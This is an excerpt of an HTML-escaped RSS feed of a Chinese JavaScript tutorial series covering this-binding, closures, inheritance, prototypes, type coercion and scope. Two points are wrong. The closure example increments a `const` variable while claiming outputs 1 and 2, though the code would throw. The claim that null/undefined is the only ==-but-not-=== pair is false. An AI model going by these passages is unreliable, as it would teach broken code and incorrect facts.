foo.apply(obj, [arg1, arg2]); // 同上，参数数组
const bar = foo.bind(obj);    // 返回新函数，this 永久绑定 obj
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;4. new 绑定&lt;/strong&gt;：&lt;code&gt;new Foo()&lt;/code&gt; 时，&lt;code&gt;this&lt;/code&gt; 指向新创建的对象。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;优先级&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;new&lt;/code&gt; &amp;gt; 显式(&lt;code&gt;bind&lt;/code&gt;) &amp;gt; 隐式 &amp;gt; 默认。记忆口诀：&lt;strong&gt;new 最先，bind 次之，隐式再次，默认垫底&lt;/strong&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;箭头函数：没有 this&lt;/h2&gt;
&lt;p&gt;箭头函数&lt;strong&gt;不绑定自己的 this&lt;/strong&gt;，而是继承外层词法作用域的 &lt;code&gt;this&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const obj = {
  name: &quot;Tom&quot;,
  friends: [&quot;A&quot;, &quot;B&quot;],
  say() {
    this.friends.forEach(() =&amp;gt; console.log(this.name)); // this 继承 say() 的 this
  },
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这解决了回调里 &lt;code&gt;this&lt;/code&gt; 丢失的老大难问题——以前得用 &lt;code&gt;const self = this&lt;/code&gt; 或 &lt;code&gt;bind&lt;/code&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;判断 &lt;code&gt;this&lt;/code&gt;：先看是不是箭头函数（继承外层）→ 再看 &lt;code&gt;new&lt;/code&gt; → &lt;code&gt;call/apply/bind&lt;/code&gt; → 隐式 → 默认。&lt;/li&gt;
&lt;li&gt;方法被抽离赋值再调用会丢失隐式绑定，用 &lt;code&gt;bind&lt;/code&gt; 或箭头函数解决。&lt;/li&gt;
&lt;li&gt;箭头函数无 &lt;code&gt;this&lt;/code&gt;，是回调场景的最佳选择。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;预测 &lt;code&gt;obj.foo()&lt;/code&gt; 与 &lt;code&gt;const f = obj.foo; f()&lt;/code&gt; 的 &lt;code&gt;this&lt;/code&gt; 差异并解释。&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;call&lt;/code&gt; 实现一个 &lt;code&gt;sum&lt;/code&gt; 的借用调用。&lt;/li&gt;
&lt;li&gt;把一段用 &lt;code&gt;const self = this&lt;/code&gt; 的老代码改成箭头函数写法。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>05 · 闭包</title><link>http://117.72.32.87/blog/posts/js-roadmap-05-closure/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/js-roadmap-05-closure/</guid><description>闭包是函数与其词法作用域的组合。讲清闭包的形成、为什么能&quot;记住&quot;外部变量、经典面试题（循环+var）、以及在模块封装与防抖节流中的真实应用。</description><pubDate>Tue, 29 Sep 2026 07:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;当年最懵的概念&lt;/h2&gt;
&lt;p&gt;面试被问&quot;什么是闭包&quot;，我背了定义却答不出&quot;它解决什么问题&quot;。后来才懂：&lt;strong&gt;闭包让函数能访问定义时所在的作用域，即使那个作用域已执行完&lt;/strong&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;形成条件&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;function outer() {
  const count = 0;
  return function inner() {
    count++;
    return count;
  };
}
const fn = outer();
fn(); // 1
fn(); // 2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;inner&lt;/code&gt; 被返回后，&lt;code&gt;outer&lt;/code&gt; 的作用域本该销毁，但因为 &lt;code&gt;inner&lt;/code&gt; 还在引用 &lt;code&gt;count&lt;/code&gt;，&lt;strong&gt;这块作用域被保留&lt;/strong&gt;——这就是闭包。&lt;code&gt;count&lt;/code&gt; 活在闭包里，成为&quot;私有变量&quot;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;经典坑：循环 + var&lt;/h2&gt;
&lt;p&gt;回顾 01 篇的例子，用闭包修复：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for (var i = 0; i &amp;lt; 3; i++) {
  ((j) =&amp;gt; setTimeout(() =&amp;gt; console.log(j), 0))(i); // 0 1 2
}
// 或现代写法：直接用 let（块级作用域天然隔离）
for (let i = 0; i &amp;lt; 3; i++) setTimeout(() =&amp;gt; console.log(i), 0);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;let&lt;/code&gt; 的方案本质也是每轮迭代形成独立作用域（类闭包），所以最推荐。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;真实应用&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;模块封装&lt;/strong&gt;：IIFE / 模块返回的对象方法构成闭包，隐藏私有状态（早期的&quot;模块模式&quot;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;防抖/节流&lt;/strong&gt;：闭包保存定时器 ID 和上一次时间。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;函数工厂&lt;/strong&gt;：根据参数&quot;定制&quot;返回的函数。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;function debounce(fn, delay) {
  let timer;
  return (...args) =&amp;gt; {
    clearTimeout(timer);
    timer = setTimeout(() =&amp;gt; fn(...args), delay);
  };
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;闭包 = 函数 + 其词法作用域；能&quot;记住&quot;外部变量。&lt;/li&gt;
&lt;li&gt;它是模块私有化、高阶函数的基础。&lt;/li&gt;
&lt;li&gt;循环问题用 &lt;code&gt;let&lt;/code&gt; 或 IIFE 解决。&lt;/li&gt;
&lt;li&gt;闭包持有变量会&lt;strong&gt;延长生命周期&lt;/strong&gt;，注意避免不必要的内存占用。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;用闭包实现一个 &lt;code&gt;createCounter()&lt;/code&gt;，每次调用返回自增后的值。&lt;/li&gt;
&lt;li&gt;写一个 &lt;code&gt;once(fn)&lt;/code&gt;，让函数只执行一次（闭包保存标志位）。&lt;/li&gt;
&lt;li&gt;解释为什么下面返回 5 个 5，如何用 &lt;code&gt;let&lt;/code&gt; 改成 0-4：&lt;code&gt;for (var i=0;i&amp;lt;5;i++){ setTimeout(()=&amp;gt;console.log(i),0); }&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>04 · 继承的演进：从原型继承到 class</title><link>http://117.72.32.87/blog/posts/js-roadmap-04-inheritance/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/js-roadmap-04-inheritance/</guid><description>梳理 JavaScript 继承写法的演进：原型链继承、构造函数继承、组合继承，到 ES6 class 与 extends。理解 class 只是原型继承的语法糖，以及 super 的执行顺序。</description><pubDate>Tue, 29 Sep 2026 06:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;为什么继承这么绕&lt;/h2&gt;
&lt;p&gt;JS 没有&quot;类&quot;的概念（ES6 之前），继承全靠原型链模拟。于是出现了各种&quot;组合拳&quot;写法，每种都有坑。理解它们，才知道 &lt;code&gt;class&lt;/code&gt; 帮我们省了多少事。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;经典写法回顾&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;原型链继承&lt;/strong&gt;：子类原型 = 父类实例。缺点：所有子类实例共享父类引用属性。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Child.prototype = new Parent(); // 共享 parent 的引用属性，易串数据
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;构造函数继承&lt;/strong&gt;：在子类里 &lt;code&gt;Parent.call(this)&lt;/code&gt;。缺点：只继承实例属性，拿不到原型方法。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;组合继承&lt;/strong&gt;：两者结合，最常用但父类构造函数被调用两次。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;ES6 class：语法糖&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;class Animal {
  constructor(name) { this.name = name; }
  eat() { console.log(`${this.name} 吃东西`); }
}
class Dog extends Animal {
  constructor(name, breed) {
    super(name);      // 必须先调用 super，才能用 this
    this.breed = breed;
  }
  bark() { console.log(&quot;汪&quot;); }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;extends&lt;/code&gt; 本质是：&lt;strong&gt;&lt;code&gt;Dog.prototype.__proto__ = Animal.prototype&lt;/code&gt;&lt;/strong&gt;，原型链接上，继承就成立了。&lt;code&gt;class&lt;/code&gt; 没有新机制，只是把&quot;组合继承&quot;封装得好看。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;super 的顺序坑&lt;/h2&gt;
&lt;p&gt;子类构造函数&lt;strong&gt;必须&lt;/strong&gt;先 &lt;code&gt;super()&lt;/code&gt; 再访问 &lt;code&gt;this&lt;/code&gt;，否则 &lt;code&gt;ReferenceError&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;constructor(name) {
  this.name = name; // ❌ 在 super 前用 this
  super(name);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为 &lt;code&gt;super()&lt;/code&gt; 负责初始化 &lt;code&gt;this&lt;/code&gt;（调用父类构造函数），之前 &lt;code&gt;this&lt;/code&gt; 还没诞生。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;早期继承靠原型链模拟，写法多且有缺陷。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;class&lt;/code&gt; / &lt;code&gt;extends&lt;/code&gt; 是原型继承的语法糖，理解原型链才不会被&quot;黑魔法&quot;吓到。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;super()&lt;/code&gt; 必须在子类构造函数最前调用。&lt;/li&gt;
&lt;li&gt;优先用 &lt;code&gt;class&lt;/code&gt;，legacy 代码才需要看懂老式继承。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;用 &lt;code&gt;class&lt;/code&gt; 写 &lt;code&gt;Shape&lt;/code&gt; 抽象基类与 &lt;code&gt;Circle&lt;/code&gt;/&lt;code&gt;Rect&lt;/code&gt; 子类，实现 &lt;code&gt;area()&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;不用 &lt;code&gt;class&lt;/code&gt;，用组合继承实现上面同样的结构，体会差异。&lt;/li&gt;
&lt;li&gt;故意在 &lt;code&gt;super()&lt;/code&gt; 前访问 &lt;code&gt;this&lt;/code&gt;，观察报错信息。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>03 · 原型与原型链</title><link>http://117.72.32.87/blog/posts/js-roadmap-03-prototype-chain/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/js-roadmap-03-prototype-chain/</guid><description>理解 JavaScript 的基于原型的继承：prototype、__proto__、constructor 三者的关系，属性查找如何沿原型链向上，以及 new 操作符背后发生了什么。</description><pubDate>Tue, 29 Sep 2026 05:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;第一次没搞懂&quot;方法共享&quot;&lt;/h2&gt;
&lt;p&gt;早年每个实例都拷贝一份方法，内存爆炸。后来知道 JS 用&lt;strong&gt;原型&lt;/strong&gt;让所有实例共享方法：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function Person(name) { this.name = name; }
Person.prototype.greet = function () { return `Hi, ${this.name}`; };

const p1 = new Person(&quot;Tom&quot;);
const p2 = new Person(&quot;Jane&quot;);
p1.greet === p2.greet; // true（方法在原型上，共享）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;三个容易混的概念&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;prototype&lt;/code&gt;&lt;/strong&gt;：函数（构造函数）上的属性，指向&quot;实例的原型对象&quot;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;__proto__&lt;/code&gt;&lt;/strong&gt;（现代用 &lt;code&gt;Object.getPrototypeOf&lt;/code&gt;）：实例内部指针，指向&quot;创建它的构造函数的 &lt;code&gt;prototype&lt;/code&gt;&quot;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;constructor&lt;/code&gt;&lt;/strong&gt;：原型对象上的属性，指回构造函数本身。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;关系：&lt;code&gt;p.__proto__ === Person.prototype&lt;/code&gt;，&lt;code&gt;Person.prototype.constructor === Person&lt;/code&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;原型链：属性怎么找&lt;/h2&gt;
&lt;p&gt;访问 &lt;code&gt;p.greet&lt;/code&gt; 时，JS 先查 &lt;code&gt;p&lt;/code&gt; 自身，没有就沿 &lt;code&gt;p.__proto__&lt;/code&gt;（即 &lt;code&gt;Person.prototype&lt;/code&gt;）找，再没有继续向上到 &lt;code&gt;Object.prototype&lt;/code&gt;，到 &lt;code&gt;null&lt;/code&gt; 为止。这条链就是&lt;strong&gt;原型链&lt;/strong&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;p.toString(); // p 自身没有 → Person.prototype 没有 → Object.prototype 有，调用它
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;原型链是 JS &lt;strong&gt;实现继承的机制&lt;/strong&gt;：子类原型指向父类实例（或父类原型），就能&quot;继承&quot;其属性。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;new 操作符做了什么&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;function myNew(Ctor, ...args) {
  const obj = Object.create(Ctor.prototype); // 1. 建空对象，原型指向 Ctor.prototype
  const result = Ctor.apply(obj, args);      // 2. this 绑定到 obj，执行构造函数
  return typeof result === &quot;object&quot; &amp;amp;&amp;amp; result !== null ? result : obj; // 3. 返回对象
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;理解 &lt;code&gt;new&lt;/code&gt; 的三步，就看懂了&quot;为什么实例能访问原型方法&quot;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;实例方法放 &lt;code&gt;prototype&lt;/code&gt; 上共享，省内存。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;__proto__&lt;/code&gt; 是实例到原型的链，&lt;code&gt;prototype&lt;/code&gt; 是构造函数的原型属性。&lt;/li&gt;
&lt;li&gt;属性查找沿原型链向上，到 &lt;code&gt;Object.prototype&lt;/code&gt; → &lt;code&gt;null&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;class&lt;/code&gt; 语法是原型继承的语法糖（下篇讲继承演进）。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;不用 &lt;code&gt;class&lt;/code&gt;，用构造函数 + 原型写一个 &lt;code&gt;Animal&lt;/code&gt;，让其有共享方法 &lt;code&gt;eat()&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;画出 &lt;code&gt;new Person(&quot;Tom&quot;)&lt;/code&gt; 后 &lt;code&gt;p&lt;/code&gt;、&lt;code&gt;p.__proto__&lt;/code&gt;、&lt;code&gt;Person.prototype&lt;/code&gt;、&lt;code&gt;Object.prototype&lt;/code&gt; 之间的指向图。&lt;/li&gt;
&lt;li&gt;实现上面的 &lt;code&gt;myNew&lt;/code&gt;，并用它创建对象验证原型链正确。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>02 · 数据类型与隐式转换</title><link>http://117.72.32.87/blog/posts/js-roadmap-02-types-conversion/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/js-roadmap-02-types-conversion/</guid><description>JS 的原始类型与引用类型区别、== 与 === 的隐式转换陷阱、typeof/instanceof 的边界，以及&quot;为什么我总用 ===&quot;。</description><pubDate>Tue, 29 Sep 2026 04:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;一次线上事故的源头&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;if (user.permission == &quot;admin&quot;) { ... }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;某天 &lt;code&gt;user.permission&lt;/code&gt; 是数字 &lt;code&gt;0&lt;/code&gt;，&lt;code&gt;0 == &quot;admin&quot;&lt;/code&gt; 竟然是 &lt;code&gt;false&lt;/code&gt;——但另一个分支 &lt;code&gt;1 == &quot;1&quot;&lt;/code&gt; 又是 &lt;code&gt;true&lt;/code&gt;。隐式转换让相等性判断变得不可预测。&lt;strong&gt;结论先给：&lt;code&gt;==&lt;/code&gt; 允许类型转换，&lt;code&gt;===&lt;/code&gt; 不转换、更可控。无特殊理由一律 &lt;code&gt;===&lt;/code&gt;。&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;原始类型 vs 引用类型&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;原始类型：&lt;code&gt;string / number / boolean / null / undefined / symbol / bigint&lt;/code&gt;，&lt;strong&gt;按值存储&lt;/strong&gt;，比较的是&quot;值&quot;。&lt;/li&gt;
&lt;li&gt;引用类型：&lt;code&gt;object&lt;/code&gt;（含数组、函数、日期等），&lt;strong&gt;按引用存储&lt;/strong&gt;，变量存的是内存地址。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;const a = { x: 1 };
const b = a;
b.x = 2;
console.log(a.x); // 2（a、b 指向同一对象）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这也是为什么比较两个对象要用深比较或 &lt;code&gt;JSON.stringify&lt;/code&gt;，而非 &lt;code&gt;==&lt;/code&gt;/&lt;code&gt;===&lt;/code&gt;（后者比的是引用）。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;== 的隐式转换规则（记住几条就够）&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;==&lt;/code&gt; 在类型不同时会尝试转换，规则复杂且反直觉：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[] == false      // true（[] 转成 &apos;&apos;，再转成 0）
[] == ![]       // true（![] 是 false，[] 转 0，false 转 0）
&apos;0&apos; == false    // true
null == undefined // true（唯一一对 == 相等但不 === 的情况）
NaN == NaN      // false（NaN 不等于任何值，用 Number.isNaN 判）
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;看到这些就明白：&lt;code&gt;===&lt;/code&gt; 才是&quot;我真的想比较&quot;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;类型判断&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;需求&lt;/th&gt;
&lt;th&gt;写法&lt;/th&gt;
&lt;th&gt;注意&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;原始类型&lt;/td&gt;
&lt;td&gt;&lt;code&gt;typeof x&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;typeof null&lt;/code&gt; 返回 &lt;code&gt;&quot;object&quot;&lt;/code&gt;（历史 bug）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;引用类型&lt;/td&gt;
&lt;td&gt;&lt;code&gt;x instanceof Ctor&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;跨 iframe/多全局环境会失效&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;数组&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Array.isArray(x)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;最可靠&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;安全判断&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Object.prototype.toString.call(x)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;返回 &lt;code&gt;[object Array]&lt;/code&gt; 等&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;引用类型比的是引用，不是内容。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;==&lt;/code&gt; 会隐式转换，易出 bug；默认 &lt;code&gt;===&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;typeof null&lt;/code&gt; 是 &lt;code&gt;&quot;object&quot;&lt;/code&gt;，判空用 &lt;code&gt;x === null&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;数组用 &lt;code&gt;Array.isArray&lt;/code&gt;，跨环境类型判断用 &lt;code&gt;toString.call&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;预测并验证：&lt;code&gt;[] == 0&lt;/code&gt;、&lt;code&gt;&apos; &apos; == 0&lt;/code&gt;、&lt;code&gt;null === undefined&lt;/code&gt; 的结果。&lt;/li&gt;
&lt;li&gt;写函数 &lt;code&gt;isPlainObject(x)&lt;/code&gt;，用 &lt;code&gt;toString.call&lt;/code&gt; 判断是否为普通对象 &lt;code&gt;{}&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;解释为什么 &lt;code&gt;NaN !== NaN&lt;/code&gt;，以及如何正确判断一个值是不是 &lt;code&gt;NaN&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>01 · 变量、作用域与提升</title><link>http://117.72.32.87/blog/posts/js-roadmap-01-scope-hoisting/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/js-roadmap-01-scope-hoisting/</guid><description>搞懂 var/let/const 的作用域差异、变量提升与 TDZ（暂时性死区）、作用域链如何逐级查找，以及块级作用域为什么是现代 JS 的默认选择。</description><pubDate>Tue, 29 Sep 2026 03:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;一个让我加班的 bug&lt;/h2&gt;
&lt;p&gt;早年写循环绑定事件，用的是 &lt;code&gt;var&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for (var i = 0; i &amp;lt; 3; i++) {
  setTimeout(() =&amp;gt; console.log(i), 0);
}
// 输出：3 3 3（不是 0 1 2）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为 &lt;code&gt;var&lt;/code&gt; 是&lt;strong&gt;函数作用域&lt;/strong&gt;，&lt;code&gt;i&lt;/code&gt; 在整个函数里只有一个，循环结束时已是 3。改成 &lt;code&gt;let&lt;/code&gt; 立刻正常——因为 &lt;code&gt;let&lt;/code&gt; 是&lt;strong&gt;块级作用域&lt;/strong&gt;，每次迭代都有独立的 &lt;code&gt;i&lt;/code&gt;。这就是作用域差异最直观的代价。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;三种声明的作用域&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;声明&lt;/th&gt;
&lt;th&gt;作用域&lt;/th&gt;
&lt;th&gt;提升&lt;/th&gt;
&lt;th&gt;重复声明&lt;/th&gt;
&lt;th&gt;暂死区&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;var&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;函数作用域&lt;/td&gt;
&lt;td&gt;提升并初始化为 &lt;code&gt;undefined&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;允许&lt;/td&gt;
&lt;td&gt;无&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;let&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;块级作用域&lt;/td&gt;
&lt;td&gt;提升但不初始化&lt;/td&gt;
&lt;td&gt;不允许&lt;/td&gt;
&lt;td&gt;有（TDZ）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;const&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;块级作用域&lt;/td&gt;
&lt;td&gt;同上&lt;/td&gt;
&lt;td&gt;不允许&lt;/td&gt;
&lt;td&gt;有（且不可改绑定）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;变量提升与 TDZ&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;var&lt;/code&gt; 会被&quot;提升&quot;到函数顶部并初始化为 &lt;code&gt;undefined&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;console.log(a); // undefined（不报错）
var a = 1;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;let/const&lt;/code&gt; 也提升，但&lt;strong&gt;在声明前访问会抛 &lt;code&gt;ReferenceError&lt;/code&gt;&lt;/strong&gt;，这段区域叫&lt;strong&gt;暂时性死区（TDZ）&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;console.log(b); // ReferenceError: Cannot access &apos;b&apos; before initialization
let b = 2;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;经验：永远在作用域顶部声明、使用前声明，TDZ 就不会咬人。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;作用域链&lt;/h2&gt;
&lt;p&gt;JavaScript 通过&lt;strong&gt;词法作用域&lt;/strong&gt;（代码写在哪里决定）形成作用域链。查找变量时，从当前作用域向外层逐级找，直到全局：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const x = 1;
function outer() {
  const y = 2;
  function inner() {
    console.log(x, y); // 1 2（沿作用域链向上找到）
  }
  inner();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;关键：&lt;strong&gt;作用域在定义时确定，不在调用时&lt;/strong&gt;。这是闭包能&quot;记住&quot;外部变量的根因（下篇细讲）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;默认用 &lt;code&gt;const&lt;/code&gt;，需要重新赋值时用 &lt;code&gt;let&lt;/code&gt;，&lt;strong&gt;别用 &lt;code&gt;var&lt;/code&gt;&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;块级作用域（if/for 的 &lt;code&gt;{}&lt;/code&gt;）让变量范围更小、更安全。&lt;/li&gt;
&lt;li&gt;TDZ 是 &lt;code&gt;let/const&lt;/code&gt; 的安全机制，触发说明你用了&quot;还没初始化的变量&quot;。&lt;/li&gt;
&lt;li&gt;作用域链沿词法作用域向上查找，且&quot;定义时定死&quot;。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;练习&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;用 &lt;code&gt;let&lt;/code&gt; 改写上面的 &lt;code&gt;for&lt;/code&gt; 循环，解释为什么现在输出 &lt;code&gt;0 1 2&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;写一个函数，内部用 &lt;code&gt;var&lt;/code&gt; 声明后在声明前 &lt;code&gt;console.log&lt;/code&gt;，观察输出；换成 &lt;code&gt;let&lt;/code&gt; 再看。&lt;/li&gt;
&lt;li&gt;解释：为什么在 &lt;code&gt;if (true) { let z = 1 }&lt;/code&gt; 之后访问 &lt;code&gt;z&lt;/code&gt; 会报错？&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>JavaScript 核心 · 路线总览</title><link>http://117.72.32.87/blog/posts/js-roadmap-00-overview/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/js-roadmap-00-overview/</guid><description>JavaScript 核心学习路线总览：从作用域、数据类型、原型链、闭包、this，到事件循环与异步、函数式、模块化、错误处理。以&quot;资深工程师十年笔记&quot;视角，把那些年踩过的坑与想通的原理串成一条线。</description><pubDate>Tue, 29 Sep 2026 02:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本系列共 &lt;strong&gt;12 篇文章&lt;/strong&gt;，是我做前端这十年里，反复回看、反复教新人的 JavaScript 核心脉络。不堆 API，只讲&quot;为什么是这样&quot;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;为什么重学 JS&lt;/h2&gt;
&lt;p&gt;工作头两年我以为&quot;会写 JS&quot;= 会 &lt;code&gt;$.ajax&lt;/code&gt;、会写 &lt;code&gt;for&lt;/code&gt; 循环。直到第一次遇到 &lt;code&gt;setTimeout&lt;/code&gt; 顺序不对、&lt;code&gt;this&lt;/code&gt; 指向莫名、原型链查不到属性——才明白 JS 的&quot;怪&quot;背后都有一套自洽的机制。&lt;/p&gt;
&lt;p&gt;本路线就是把这些机制拆开讲透：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;JavaScript 核心

├── 语言机制
│   ├── 变量与作用域（提升、TDZ、作用域链）
│   ├── 数据类型与隐式转换
│   ├── 原型与原型链
│   └── 继承的演进
